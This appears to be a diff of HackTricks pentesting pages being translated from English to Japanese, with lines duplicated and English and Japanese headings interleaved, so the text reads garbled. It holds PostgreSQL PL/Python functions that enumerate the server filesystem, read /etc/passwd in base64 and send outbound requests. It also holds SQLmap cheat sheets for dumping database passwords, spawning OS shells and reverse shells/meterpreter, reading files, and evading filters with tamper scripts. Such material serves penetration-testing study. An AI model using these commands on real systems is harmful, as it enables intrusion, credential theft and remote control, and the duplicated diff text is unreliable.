{{#tab name="List dir"}}
```sql
CREATE OR REPLACE FUNCTION lsdir (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import json
from os import walk
files = next(walk(dir), (None, None, []))
return json.dumps({"root": files[0], "dirs": files[1], "files": files[2]})[:65535]
import json
from os import walk
files = next(walk(dir), (None, None, []))
return json.dumps({"root": files[0], "dirs": files[1], "files": files[2]})[:65535]
$$
LANGUAGE 'plpythonu';
SELECT lsdir("/"); #List dir
```
{{#endtab}}
{{#tab name="Find W folder"}}
{{#tab name="Wフォルダを見つける"}}
```sql
CREATE OR REPLACE FUNCTION findw (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
writables = []
def find_writable(path):
if not os.path.isdir(path):
return
if os.access(path, os.W_OK):
writables.append(path)
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_writable(os.path.join(path, item))
find_writable(path)
return writables
import os
def my_find(path):
writables = []
def find_writable(path):
if not os.path.isdir(path):
return
if os.access(path, os.W_OK):
writables.append(path)
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_writable(os.path.join(path, item))
find_writable(path)
return writables
return ", ".join(my_find(dir))
return ", ".join(my_find(dir))
$$
LANGUAGE 'plpythonu';
SELECT findw("/"); #Find Writable folders from a folder (recursively)
```
{{#endtab}}
{{#tab name="Find File"}}
{{#tab name="ファイルを見つける"}}
```sql
CREATE OR REPLACE FUNCTION find_file (exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path):
executables.append(path)
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path):
executables.append(path)
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
a = my_find("/")
b = []
a = my_find("/")
b = []
for i in a:
if exe_sea in os.path.basename(i):
b.append(i)
return ", ".join(b)
for i in a:
if exe_sea in os.path.basename(i):
b.append(i)
return ", ".join(b)
$$
LANGUAGE 'plpythonu';
SELECT find_file("psql"); #Find a file
```
{{#endtab}}
{{#tab name="Find executables"}}
{{#tab name="実行可能ファイルを見つける"}}
```sql
CREATE OR REPLACE FUNCTION findx (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
a = my_find(dir)
b = []
a = my_find(dir)
b = []
for i in a:
b.append(os.path.basename(i))
return ", ".join(b)
for i in a:
b.append(os.path.basename(i))
return ", ".join(b)
$$
LANGUAGE 'plpythonu';
SELECT findx("/"); #Find an executables in folder (recursively)
```
{{#endtab}}
{{#tab name="Find exec by subs"}}
```sql
CREATE OR REPLACE FUNCTION find_exe (exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
a = my_find("/")
b = []
a = my_find("/")
b = []
for i in a:
if exe_sea in i:
b.append(i)
return ", ".join(b)
for i in a:
if exe_sea in i:
b.append(i)
return ", ".join(b)
$$
LANGUAGE 'plpythonu';
SELECT find_exe("psql"); #Find executable by susbstring
```
{{#endtab}}
{{#tab name="Read"}}
```sql
CREATE OR REPLACE FUNCTION read (path text)
RETURNS VARCHAR(65535) stable
AS $$
import base64
encoded_string= base64.b64encode(open(path).read())
return encoded_string.decode('utf-8')
return open(path).read()
import base64
encoded_string= base64.b64encode(open(path).read())
return encoded_string.decode('utf-8')
return open(path).read()
$$
LANGUAGE 'plpythonu';
select read('/etc/passwd'); #Read a file in b64
```
{{#endtab}}
{{#tab name="Get perms"}}
```sql
CREATE OR REPLACE FUNCTION get_perms (path text)
RETURNS VARCHAR(65535) stable
AS $$
import os
status = os.stat(path)
perms = oct(status.st_mode)[-3:]
return str(perms)
import os
status = os.stat(path)
perms = oct(status.st_mode)[-3:]
return str(perms)
$$
LANGUAGE 'plpythonu';
select get_perms("/etc/passwd"); # Get perms of file
```
{{#endtab}}
{{#tab name="Request"}}
```sql
CREATE OR REPLACE FUNCTION req2 (url text)
RETURNS VARCHAR(65535) stable
AS $$
import urllib
r = urllib.urlopen(url)
return r.read()
import urllib
r = urllib.urlopen(url)
return r.read()
$$
LANGUAGE 'plpythonu';
@ -293,21 +272,20 @@ SELECT req2('https://google.com'); #Request using python2
CREATE OR REPLACE FUNCTION req3 (url text)
RETURNS VARCHAR(65535) stable
AS $$
from urllib import request
r = request.urlopen(url)
return r.read()
from urllib import request
r = request.urlopen(url)
return r.read()
$$
LANGUAGE 'plpythonu';
SELECT req3('https://google.com'); #Request using python3
```
{{#endtab}}
{{#endtabs}}
## pgSQL
Check the following page:
次のページを確認してください:
{{#ref}}
pl-pgsql-password-bruteforce.md
@ -315,11 +293,10 @@ pl-pgsql-password-bruteforce.md
## C
Check the following page:
次のページを確認してください:
{{#ref}}
rce-with-postgresql-extensions.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,9 +1,8 @@
{{#include ../../banners/hacktricks-training.md}}
# Basic arguments for SQLmap
## Generic
# SQLmapの基本引数
## 一般的な
```bash
-u "<URL>"
-p "<PARAM TO TEST>"
@ -20,11 +19,9 @@
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY
```
## 情報の取得
## Retrieve Information
### Internal
### 内部
```bash
--current-user #Get current user
--is-dba #Check if current user is Admin
@ -32,9 +29,7 @@
--users #Get usernames od DB
--passwords #Get passwords of users in DB
```
### DB data
### DBデータ
```bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
@ -43,32 +38,24 @@
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
```
# インジェクションポイント
# Injection place
## From Burp/ZAP capture
Capture the request and create a req.txt file
## Burp/ZAPキャプチャから
リクエストをキャプチャし、req.txtファイルを作成します。
```bash
sqlmap -r req.txt --current-user
```
## GET Request Injection
## GETリクエストインジェクション
```bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
```
## POST Request Injection
## POSTリクエストインジェクション
```bash
sqlmap -u "http://example.com" --data "username=*&password=*"
```
## Injections in Headers and other HTTP Methods
## ヘッダーおよびその他のHTTPメソッドにおけるインジェクション
```bash
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
@ -82,16 +69,12 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
```
## Second order injection
## セカンドオーダーインジェクション
```bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
```
## Shell
## シェル
```bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
@ -102,9 +85,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
```
## Crawl a website with SQLmap and auto-exploit
## SQLmapを使用してウェブサイトをクロールし、自動的にエクスプロイトする
```bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
@ -112,83 +93,73 @@ sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threa
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
```
# カスタマイズされたインジェクション
# Customizing Injection
## Set a suffix
## サフィックスを設定する
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
```
## Prefix
## プレフィックス
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
```
## Help finding boolean injection
## ブールインジェクションの発見を手伝う
```bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
```
## Tamper
```bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
```
| Tamper | Description |
| :--------------------------- | :--------------------------------------------------------------------------------------------------------------------------------- |
| apostrophemask.py | Replaces apostrophe character with its UTF-8 full width counterpart |
| apostrophenullencode.py | Replaces apostrophe character with its illegal double unicode counterpart |
| appendnullbyte.py | Appends encoded NULL byte character at the end of payload |
| base64encode.py | Base64 all characters in a given payload |
| between.py | Replaces greater than operator \('&gt;'\) with 'NOT BETWEEN 0 AND \#' |
| bluecoat.py | Replaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator |
| chardoubleencode.py | Double url-encodes all characters in a given payload \(not processing already encoded\) |
| commalesslimit.py | Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M' |
| commalessmid.py | Replaces instances like 'MID\(A, B, C\)' with 'MID\(A FROM B FOR C\)' |
| concat2concatws.py | Replaces instances like 'CONCAT\(A, B\)' with 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' |
| charencode.py | Url-encodes all characters in a given payload \(not processing already encoded\) |
| charunicodeencode.py | Unicode-url-encodes non-encoded characters in a given payload \(not processing already encoded\). "%u0022" |
| charunicodeescape.py | Unicode-url-encodes non-encoded characters in a given payload \(not processing already encoded\). "\u0022" |
| equaltolike.py | Replaces all occurances of operator equal \('='\) with operator 'LIKE' |
| escapequotes.py | Slash escape quotes \(' and "\) |
| greatest.py | Replaces greater than operator \('&gt;'\) with 'GREATEST' counterpart |
| halfversionedmorekeywords.py | Adds versioned MySQL comment before each keyword |
| ifnull2ifisnull.py | Replaces instances like 'IFNULL\(A, B\)' with 'IF\(ISNULL\(A\), B, A\)' |
| modsecurityversioned.py | Embraces complete query with versioned comment |
| modsecurityzeroversioned.py | Embraces complete query with zero-versioned comment |
| multiplespaces.py | Adds multiple spaces around SQL keywords |
| nonrecursivereplacement.py | Replaces predefined SQL keywords with representations suitable for replacement \(e.g. .replace\("SELECT", ""\)\) filters |
| percentage.py | Adds a percentage sign \('%'\) infront of each character |
| overlongutf8.py | Converts all characters in a given payload \(not processing already encoded\) |
| randomcase.py | Replaces each keyword character with random case value |
| randomcomments.py | Add random comments to SQL keywords |
| securesphere.py | Appends special crafted string |
| sp_password.py | Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs |
| space2comment.py | Replaces space character \(' '\) with comments |
| space2dash.py | Replaces space character \(' '\) with a dash comment \('--'\) followed by a random string and a new line \('\n'\) |
| space2hash.py | Replaces space character \(' '\) with a pound character \('\#'\) followed by a random string and a new line \('\n'\) |
| space2morehash.py | Replaces space character \(' '\) with a pound character \('\#'\) followed by a random string and a new line \('\n'\) |
| space2mssqlblank.py | Replaces space character \(' '\) with a random blank character from a valid set of alternate characters |
| space2mssqlhash.py | Replaces space character \(' '\) with a pound character \('\#'\) followed by a new line \('\n'\) |
| space2mysqlblank.py | Replaces space character \(' '\) with a random blank character from a valid set of alternate characters |
| space2mysqldash.py | Replaces space character \(' '\) with a dash comment \('--'\) followed by a new line \('\n'\) |
| space2plus.py | Replaces space character \(' '\) with plus \('+'\) |
| space2randomblank.py | Replaces space character \(' '\) with a random blank character from a valid set of alternate characters |
| symboliclogical.py | Replaces AND and OR logical operators with their symbolic counterparts \(&& and |
| unionalltounion.py | Replaces UNION ALL SELECT with UNION SELECT |
| unmagicquotes.py | Replaces quote character \('\) with a multi-byte combo %bf%27 together with generic comment at the end \(to make it work\) |
| uppercase.py | Replaces each keyword character with upper case value 'INSERT' |
| varnish.py | Append a HTTP header 'X-originating-IP' |
| versionedkeywords.py | Encloses each non-function keyword with versioned MySQL comment |
| versionedmorekeywords.py | Encloses each keyword with versioned MySQL comment |
| xforwardedfor.py | Append a fake HTTP header 'X-Forwarded-For' |
| apostrophemask.py | アポストロフィ文字をそのUTF-8全幅対応文字に置き換えます。 |
| apostrophenullencode.py | アポストロフィ文字をその不正な二重Unicode対応文字に置き換えます。 |
| appendnullbyte.py | ペイロードの末尾にエンコードされたNULLバイト文字を追加します。 |
| base64encode.py | 指定されたペイロード内のすべての文字をBase64エンコードします。 |
| between.py | 大なり演算子 \('&gt;'\) を 'NOT BETWEEN 0 AND \#' に置き換えます。 |
| bluecoat.py | SQL文の後のスペース文字を有効なランダム空白文字に置き換えます。その後、文字 = をLIKE演算子に置き換えます。 |
| chardoubleencode.py | 指定されたペイロード内のすべての文字を二重URLエンコードしますすでにエンコードされたものは処理しません |
| commalesslimit.py | 'LIMIT M, N' のようなインスタンスを 'LIMIT N OFFSET M' に置き換えます。 |
| commalessmid.py | 'MID\(A, B, C\)' のようなインスタンスを 'MID\(A FROM B FOR C\)' に置き換えます。 |
| concat2concatws.py | 'CONCAT\(A, B\)' のようなインスタンスを 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' に置き換えます。 |
| charencode.py | 指定されたペイロード内のすべての文字をURLエンコードしますすでにエンコードされたものは処理しません |
| charunicodeencode.py | 指定されたペイロード内の非エンコード文字をUnicode URLエンコードしますすでにエンコードされたものは処理しません。"%u0022" |
| charunicodeescape.py | 指定されたペイロード内の非エンコード文字をUnicode URLエンコードしますすでにエンコードされたものは処理しません。"\u0022" |
| equaltolike.py | 演算子等号 \('='\) のすべての出現を演算子 'LIKE' に置き換えます。 |
| escapequotes.py | スラッシュで引用符 \(' と "\) をエスケープします。 |
| greatest.py | 大なり演算子 \('&gt;'\) を 'GREATEST' 対応に置き換えます。 |
| halfversionedmorekeywords.py | 各キーワードの前にバージョン付きMySQLコメントを追加します。 |
| ifnull2ifisnull.py | 'IFNULL\(A, B\)' のようなインスタンスを 'IF\(ISNULL\(A\), B, A\)' に置き換えます。 |
| modsecurityversioned.py | 完全なクエリをバージョン付きコメントで囲みます。 |
| modsecurityzeroversioned.py | 完全なクエリをゼロバージョン付きコメントで囲みます。 |
| multiplespaces.py | SQLキーワードの周りに複数のスペースを追加します。 |
| nonrecursivereplacement.py | 事前定義されたSQLキーワードを置き換えに適した表現に置き換えます.replace\("SELECT", ""\) フィルター)。 |
| percentage.py | 各文字の前にパーセント記号 \('%'\) を追加します。 |
| overlongutf8.py | 指定されたペイロード内のすべての文字を変換します(すでにエンコードされたものは処理しません)。 |
| randomcase.py | 各キーワード文字をランダムなケース値に置き換えます。 |
| randomcomments.py | SQLキーワードにランダムなコメントを追加します。 |
| securesphere.py | 特別に作成された文字列を追加します。 |
| sp_password.py | ペイロードの末尾に 'sp_password' を追加し、DBMSログからの自動的な難読化を行います。 |
| space2comment.py | スペース文字 \(' '\) をコメントに置き換えます。 |
| space2dash.py | スペース文字 \(' '\) をダッシュコメント \('--'\) に置き換え、その後にランダムな文字列と改行 \('\n'\) を追加します。 |
| space2hash.py | スペース文字 \(' '\) をポンド文字 \('\#'\) に置き換え、その後にランダムな文字列と改行 \('\n'\) を追加します。 |
| space2morehash.py | スペース文字 \(' '\) をポンド文字 \('\#'\) に置き換え、その後にランダムな文字列と改行 \('\n'\) を追加します。 |
| space2mssqlblank.py | スペース文字 \(' '\) を有効な代替文字のセットからのランダムな空白文字に置き換えます。 |
| space2mssqlhash.py | スペース文字 \(' '\) をポンド文字 \('\#'\) に置き換え、その後に改行 \('\n'\) を追加します。 |
| space2mysqlblank.py | スペース文字 \(' '\) を有効な代替文字のセットからのランダムな空白文字に置き換えます。 |
| space2mysqldash.py | スペース文字 \(' '\) をダッシュコメント \('--'\) に置き換え、その後に改行 \('\n'\) を追加します。 |
| space2plus.py | スペース文字 \(' '\) をプラス \('+'\) に置き換えます。 |
| space2randomblank.py | スペース文字 \(' '\) を有効な代替文字のセットからのランダムな空白文字に置き換えます。 |
| symboliclogical.py | ANDおよびOR論理演算子をその記号対応 \(&& |
| unionalltounion.py | UNION ALL SELECT を UNION SELECT に置き換えます。 |
| unmagicquotes.py | 引用文字 \('\) をマルチバイトコンボ %bf%27 と一般的なコメントを末尾に追加します(動作させるため)。 |
| uppercase.py | 各キーワード文字を大文字の値 'INSERT' に置き換えます。 |
| varnish.py | HTTPヘッダー 'X-originating-IP' を追加します。 |
| versionedkeywords.py | 各非関数キーワードをバージョン付きMySQLコメントで囲みます。 |
| versionedmorekeywords.py | 各キーワードをバージョン付きMySQLコメントで囲みます。 |
| xforwardedfor.py | 偽のHTTPヘッダー 'X-Forwarded-For' を追加します。 |
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,19 +1,18 @@
# SQLMap - Cheatsheet
# SQLMap - チートシート
{{#include ../../../banners/hacktricks-training.md}}
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Get a hacker's perspective on your web apps, network, and cloud**
**あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけるために、20以上のカスタムツールを使用し、自動化されたエクスプロイトを利用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Basic arguments for SQLmap
### Generic
## SQLmapの基本引数
### 一般的な
```bash
-u "<URL>"
-p "<PARAM TO TEST>"
@ -31,11 +30,9 @@
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char
```
### 情報の取得
### Retrieve Information
#### Internal
#### 内部
```bash
--current-user #Get current user
--is-dba #Check if current user is Admin
@ -44,9 +41,7 @@
--passwords #Get passwords of users in DB
--privileges #Get privileges
```
#### DB data
#### DBデータ
```bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
@ -55,34 +50,26 @@
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
```
[SQLMapping](https://taurusomar.github.io/sqlmapping/)を使用すると、SQLMapの基本的および高度なコマンドを生成し、完全な概要を提供する実用的なツールです。ツールの各側面を説明するToolTipsが含まれており、すべてのオプションを詳細に説明しているため、効率的かつ効果的に使用する方法を改善し理解することができます。
Using [SQLMapping](https://taurusomar.github.io/sqlmapping/) it is a practical tool that generates commands and provides a complete overview, both basic and advanced, for SQLMap. It includes ToolTips that explain each aspect of the tool, detailing every option so that you can improve and understand how to use it efficiently and effectively
## インジェクション場所
## Injection place
### From Burp/ZAP capture
Capture the request and create a req.txt file
### Burp/ZAPキャプチャから
リクエストをキャプチャし、req.txtファイルを作成します。
```bash
sqlmap -r req.txt --current-user
```
### GET Request Injection
### GETリクエストインジェクション
```bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
```
### POST Request Injection
### POSTリクエストインジェクション
```bash
sqlmap -u "http://example.com" --data "username=*&password=*"
```
### Injections in Headers and other HTTP Methods
### ヘッダーおよびその他のHTTPメソッドにおけるインジェクション
```bash
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
@ -96,23 +83,17 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
```
### Indicate string when injection is successful
### インジェクションが成功したときの文字列を示す
```bash
--string="string_showed_when_TRUE"
```
### Eval
**Sqlmap** allows the use of `-e` or `--eval` to process each payload before sending it with some python oneliner. This makes very easy and fast to process in custom ways the payload before sending it. In the following example the **flask cookie session** **is signed by flask with the known secret before sending it**:
**Sqlmap** は、ペイロードを送信する前にいくつかの Python ワンライナーで処理するために `-e` または `--eval` を使用することを許可します。これにより、送信する前にペイロードをカスタム方式で処理するのが非常に簡単で迅速になります。次の例では、**flask cookie session** **は、送信する前に既知の秘密で flask によって署名されています**:
```bash
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
```
### Shell
### シェル
```bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
@ -123,15 +104,11 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
```
### Read File
### ファイルを読む
```bash
--file-read=/etc/passwd
```
### Crawl a website with SQLmap and auto-exploit
### SQLmapを使用してウェブサイトをクロールし、自動的にエクスプロイトする
```bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
@ -139,102 +116,90 @@ sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threa
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
```
### Second Order Injection
### セカンドオーダーインジェクション
```bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
```
[**この記事を読む** ](second-order-injection-sqlmap.md)**sqlmapを使用してシンプルおよび複雑なセカンドオーダーインジェクションを実行する方法について。**
[**Read this post** ](second-order-injection-sqlmap.md)**about how to perform simple and complex second order injections with sqlmap.**
## Customizing Injection
### Set a suffix
## インジェクションのカスタマイズ
### サフィックスを設定する
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
```
### Prefix
### プレフィックス
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
```
### Help finding boolean injection
### ブールインジェクションの発見を手伝う
```bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
```
### Tamper
Remember that **you can create your own tamper in python** and it's very simple. You can find a tamper example in the [Second Order Injection page here](second-order-injection-sqlmap.md).
**自分自身のタムパーをPythonで作成することができる**ことを忘れないでください。タムパーの例は、[Second Order Injection page here](second-order-injection-sqlmap.md)にあります。
```bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
```
| Tamper | Description |
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
| apostrophemask.py | Replaces apostrophe character with its UTF-8 full width counterpart |
| apostrophenullencode.py | Replaces apostrophe character with its illegal double unicode counterpart |
| appendnullbyte.py | Appends encoded NULL byte character at the end of payload |
| base64encode.py | Base64 all characters in a given payload |
| between.py | Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #' |
| bluecoat.py | Replaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator |
| chardoubleencode.py | Double url-encodes all characters in a given payload (not processing already encoded) |
| commalesslimit.py | Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M' |
| commalessmid.py | Replaces instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)' |
| concat2concatws.py | Replaces instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' |
| charencode.py | Url-encodes all characters in a given payload (not processing already encoded) |
| charunicodeencode.py | Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded). "%u0022" |
| charunicodeescape.py | Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded). "\u0022" |
| equaltolike.py | Replaces all occurances of operator equal ('=') with operator 'LIKE' |
| escapequotes.py | Slash escape quotes (' and ") |
| greatest.py | Replaces greater than operator ('>') with 'GREATEST' counterpart |
| halfversionedmorekeywords.py | Adds versioned MySQL comment before each keyword |
| ifnull2ifisnull.py | Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)' |
| modsecurityversioned.py | Embraces complete query with versioned comment |
| modsecurityzeroversioned.py | Embraces complete query with zero-versioned comment |
| multiplespaces.py | Adds multiple spaces around SQL keywords |
| nonrecursivereplacement.py | Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace("SELECT", "")) filters |
| percentage.py | Adds a percentage sign ('%') infront of each character |
| overlongutf8.py | Converts all characters in a given payload (not processing already encoded) |
| randomcase.py | Replaces each keyword character with random case value |
| randomcomments.py | Add random comments to SQL keywords |
| securesphere.py | Appends special crafted string |
| sp_password.py | Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs |
| space2comment.py | Replaces space character (' ') with comments |
| space2dash.py | Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n') |
| space2hash.py | Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') |
| space2morehash.py | Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') |
| space2mssqlblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters |
| space2mssqlhash.py | Replaces space character (' ') with a pound character ('#') followed by a new line ('\n') |
| space2mysqlblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters |
| space2mysqldash.py | Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n') |
| space2plus.py | Replaces space character (' ') with plus ('+') |
| space2randomblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters |
| symboliclogical.py | Replaces AND and OR logical operators with their symbolic counterparts (&& and |
| unionalltounion.py | Replaces UNION ALL SELECT with UNION SELECT |
| unmagicquotes.py | Replaces quote character (') with a multi-byte combo %bf%27 together with generic comment at the end (to make it work) |
| uppercase.py | Replaces each keyword character with upper case value 'INSERT' |
| varnish.py | Append a HTTP header 'X-originating-IP' |
| versionedkeywords.py | Encloses each non-function keyword with versioned MySQL comment |
| versionedmorekeywords.py | Encloses each keyword with versioned MySQL comment |
| xforwardedfor.py | Append a fake HTTP header 'X-Forwarded-For' |
| apostrophemask.py | アポストロフィ文字をそのUTF-8全幅の対応物に置き換えます。 |
| apostrophenullencode.py | アポストロフィ文字をその不正な二重Unicode対応物に置き換えます。 |
| appendnullbyte.py | ペイロードの最後にエンコードされたNULLバイト文字を追加します。 |
| base64encode.py | 指定されたペイロード内のすべての文字をBase64エンコードします。 |
| between.py | 大なり演算子('>'を「NOT BETWEEN 0 AND #」に置き換えます。 |
| bluecoat.py | SQL文の後のスペース文字を有効なランダムな空白文字に置き換えます。その後、文字「=」をLIKE演算子に置き換えます。 |
| chardoubleencode.py | 指定されたペイロード内のすべての文字を二重URLエンコードしますすでにエンコードされたものは処理しません |
| commalesslimit.py | 「LIMIT M, N」のようなインスタンスを「LIMIT N OFFSET M」に置き換えます。 |
| commalessmid.py | 「MID(A, B, C)」のようなインスタンスを「MID(A FROM B FOR C)」に置き換えます。 |
| concat2concatws.py | 「CONCAT(A, B)」のようなインスタンスを「CONCAT_WS(MID(CHAR(0), 0, 0), A, B)」に置き換えます。 |
| charencode.py | 指定されたペイロード内のすべての文字をURLエンコードしますすでにエンコードされたものは処理しません |
| charunicodeencode.py | 指定されたペイロード内の非エンコード文字をUnicode URLエンコードしますすでにエンコードされたものは処理しません。"%u0022" |
| charunicodeescape.py | 指定されたペイロード内の非エンコード文字をUnicode URLエンコードしますすでにエンコードされたものは処理しません。"\u0022" |
| equaltolike.py | 演算子「=」のすべての出現を演算子「LIKE」に置き換えます。 |
| escapequotes.py | クォート(' と ")をスラッシュでエスケープします。 |
| greatest.py | 大なり演算子('>'を「GREATEST」対応物に置き換えます。 |
| halfversionedmorekeywords.py | 各キーワードの前にバージョン付きMySQLコメントを追加します。 |
| ifnull2ifisnull.py | 「IFNULL(A, B)」のようなインスタンスを「IF(ISNULL(A), B, A)」に置き換えます。 |
| modsecurityversioned.py | 完全なクエリをバージョン付きコメントで囲みます。 |
| modsecurityzeroversioned.py | 完全なクエリをゼロバージョン付きコメントで囲みます。 |
| multiplespaces.py | SQLキーワードの周りに複数のスペースを追加します。 |
| nonrecursivereplacement.py | 事前定義されたSQLキーワードを置き換えに適した表現に置き換えます.replace("SELECT", "")フィルター)。 |
| percentage.py | 各文字の前にパーセント記号('%')を追加します。 |
| overlongutf8.py | 指定されたペイロード内のすべての文字を変換します(すでにエンコードされたものは処理しません)。 |
| randomcase.py | 各キーワード文字をランダムなケース値に置き換えます。 |
| randomcomments.py | SQLキーワードにランダムなコメントを追加します。 |
| securesphere.py | 特別に作成された文字列を追加します。 |
| sp_password.py | ペイロードの最後に「sp_password」を追加し、DBMSログからの自動的な難読化を行います。 |
| space2comment.py | スペース文字(' ')をコメントに置き換えます。 |
| space2dash.py | スペース文字(' ')をダッシュコメント('--')に置き換え、その後にランダムな文字列と改行('\n')を追加します。 |
| space2hash.py | スペース文字(' ')をポンド文字('#')に置き換え、その後にランダムな文字列と改行('\n')を追加します。 |
| space2morehash.py | スペース文字(' ')をポンド文字('#')に置き換え、その後にランダムな文字列と改行('\n')を追加します。 |
| space2mssqlblank.py | スペース文字(' ')を有効な代替文字のセットからのランダムな空白文字に置き換えます。 |
